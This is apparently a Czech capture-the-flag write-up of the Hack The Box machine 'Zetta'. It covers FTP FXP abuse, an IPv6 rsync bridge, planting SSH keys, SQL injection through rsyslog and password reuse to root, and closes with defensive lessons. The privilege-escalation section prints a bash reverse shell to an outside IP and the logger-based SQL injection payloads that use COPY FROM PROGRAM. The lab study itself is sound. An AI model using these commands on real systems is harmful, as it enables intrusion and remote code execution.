Zetta
Úvod a kontext
Zetta je jeden z těch strojů, kde první krok vůbec nevede přes běžnou webovou chybu. Hlavní roli tu hraje Pure-FTPd, jeho FXP zneužití a následný přechod do interní IPv6 vrstvy, která zvenku není vidět. Teprve tam se objeví rsync služba s dalšími daty. Přesně proto je Zetta dobrý společný case pro články Síťová topologie jako leak: WPAD, Squid, FXP a interní mapování, IPv6 jako opomíjená attack surface a Port forwarding, proxy a protokolové mosty jako exploitační primitivum.
Druhá polovina stroje je zase o tom, jak cenné mohou být konfigurační repozitáře a .git historie v /etc. Zápis do PostgreSQL přes rsyslog SQL injection a následný reuse hesel mezi postgres a root je typický příklad provozních slabin, které spolu vytvářejí plný kompromis systému.
Počáteční průzkum
Vyhledání otevřených portů
Nejdřív mapuji veřejné služby:
nmap -p 1-65535 -T4 -A -sC -v $IP
PORT STATE SERVICE VERSION
21/tcp open ftp Pure-FTPd
22/tcp open ssh OpenSSH 7.9p1 Debian 10
80/tcp open http nginx
Web na 80 nevypadal jako přímý vstup, ale zobrazoval přihlašovací údaje:
Username: LFIE55AFlV0KzFc7CmOqi94SBCW1rSVl
Password: LFIE55AFlV0KzFc7CmOqi94SBCW1rSVl
To je silná indicie, že první cesta povede přes FTP.
Analýza zjištění
FXP abuse a interní IPv6 adresa
Pure-FTPd na Zettě šlo zneužít přes FXP/EPRT tak, aby navázal datové spojení na útočníkem řízený listener. Tím se neotevře shell, ale vyteče interní zdrojová adresa serveru.
Výsledkem bylo odhalení interní IPv6 adresy:
dead:beef::250:56ff:feb9:f660
To je klíčový bod celého stroje. Bez něj by interní rsync služba zůstala neviditelná.
Rsync v interní vrstvě
Po přepnutí na IPv6 scan se objevil další port:
8730/tcp open rsync
Praktické napojení na tuto službu šlo udělat třeba přes socat, který přemostí lokální IPv4 port na vzdálené IPv6 rsync rozhraní. Praktickou roli tohoto úzkého bridge nástroje rozebírám i v článku Socat:
socat TCP4-LISTEN:8730,fork TCP6:[dead:beef::250:56ff:feb9:f660]:8730
Pak už bylo možné enumerovat moduly:
rsync --port 8730 rsync://127.0.0.1
To odhalilo backup přístupy k několika systémovým cestám a přivedlo pozornost na rsyncd.conf, kde byl důležitý skrytý modul:
home_roy
Heslo k home_roy
Rsync modul home_roy vyžadoval heslo. To se podařilo zlomit na:
computer
Jakmile bylo heslo známé, šlo číst obsah domácího adresáře roy přes rsync:
rsync -arv --port 8730 rsync://roy@127.0.0.1/home_roy Zetta/home/roy
Zároveň to znamenalo i možnost do stejného home zapisovat. V tu chvíli už nejde jen o exfiltrační kanál, ale o variantu write -> authenticate.
Získání přístupu
Podstrčení authorized_keys
Protože rsync modul exportoval domovský adresář uživatele roy obousměrně, stačilo do něj nahrát vlastní .ssh/authorized_keys:
mkdir -p .ssh && chmod 700 .ssh
touch .ssh/authorized_keys && chmod 600 .ssh/authorized_keys
echo "ssh-rsa __CENSORED__== hack@t" >> .ssh/authorized_keys
rsync -arv --port 8730 . rsync://roy@127.0.0.1/home_roy
Pak už šlo přihlášení:
ssh roy@zetta.htb
A potvrzení user flagu:
cat user.txt
__CENSORED__
Eskalace oprávnění
.git v /etc/rsyslog.d
Lokální enumerace ukázala překvapivou věc: několik adresářů pod /etc obsahovalo .git. To je výborný zdroj historických konfigurací a změn a přesně ten typ provozní stopy, kterou rozebírám i v článku Repozitář, historie konfigurace a deployment trust.
Právě v /etc/rsyslog.d/.git bylo v posledním commitu vidět SQL template:
+local7.info action(type="ompgsql" server="localhost" user="postgres" pass="test1234" db="syslog" template="sql-syslog")
A zároveň struktura SQL insertu, který skládal dotaz přímo ze syslog zprávy.
To je zásadní slabina: pokud rsyslog bez escapování vkládá obsah logu do SQL dotazu, stačí poslat speciálně připravenou syslog zprávu a vznikne SQL injection do PostgreSQL. Tady se logovací vrstva mění v útokovou plochu úplně stejně jako v článku Logy jako útoková plocha.
SQL injection přes logger
Praktický exploit šel z běžného uživatelského účtu přes logger -p local7.info .... Nejprve bylo potřeba připravit skript s reverse shellem:
echo "/bin/bash -c 'bash -i >& /dev/tcp/10.10.14.9/4000 0>&1'" > /tmp/t.sh
chmod +x /tmp/t.sh
Pak už následovala trojice syslog zpráv, které vytvořily tabulku a použily PostgreSQL COPY ... FROM PROGRAM:
logger -p local7.info "42', localtimestamp); DROP TABLE IF EXISTS cmd_exec; --"
logger -p local7.info "42', localtimestamp); CREATE TABLE cmd_exec(cmd_output text); --"
logger -p local7.info "\$\$42\$\$', localtimestamp); COPY cmd_exec FROM PROGRAM \$\$/tmp/t.sh\$\$; --"
Tím vznikl shell jako postgres.
Reuse hesla až k rootovi
Na účtu postgres byla v .psql_history uložená předchozí změna hesla:
ALTER USER postgres WITH PASSWORD 'sup3rs3cur3p4ass@postgres';
To ještě automaticky neznamená root. Ale v Zettě se stejné heslo znovu používalo i pro su root, takže po jeho vyzkoušení vznikl root shell a následně i přístup k root.txt. Tím se závěr stroje vrací i k tématu password reuse mezi různými vrstvami prostředí.
Shrnutí klíčových poznatků
- První zásadní posun nepřišel z webu, ale z Pure-FTPd FXP abuse, který odkryl interní IPv6 adresu.
- Rsync export domácího adresáře
royposkytl nejen čtení, ale i zápis, takže šel použít k podstrčeníauthorized_keys. - Root část stála na historické konfiguraci v
.git, SQL injection do PostgreSQL přes rsyslog a nakonec na reuse hesla mezipostgresaroot.
Co si odnést do praxe
- FTP služby s podporou FXP/EPRT mohou prozradit interní síťovou topologii i bez přímého shellu. U méně běžných protokolů je potřeba myslet i na takové „boční“ informační úniky.
- Rsync exporty je nutné auditovat nejen podle čtení, ale i podle zápisu. Write přístup do cizího home je v praxi téměř okamžitý SSH foothold.
.gitadresář v produkční konfiguraci je bezpečnostní problém. Historie často obsahuje přesně ta tajemství, která už z aktuálního souboru zmizela.- Logování do SQL backendu musí vstup escapovat nebo parametrizovat stejně důsledně jako běžná aplikace. Jinak se z log zprávy stává SQL injection v infrastrukturní vrstvě.
- Reuse hesel mezi databází a rootem je katastrofický násobič dopadu. Jakmile padne jedno tajemství, nemůže otevřít úplně jinou roli.
Další související články
HTB Stroje
Techniky
- Container boundary mistakes: bind mounty, `docker exec`, `runc`, `privileged`
- Údržbové skripty a provozní automaty jako zdroj přístupů
- SUID/GTFOBins a netypické binárky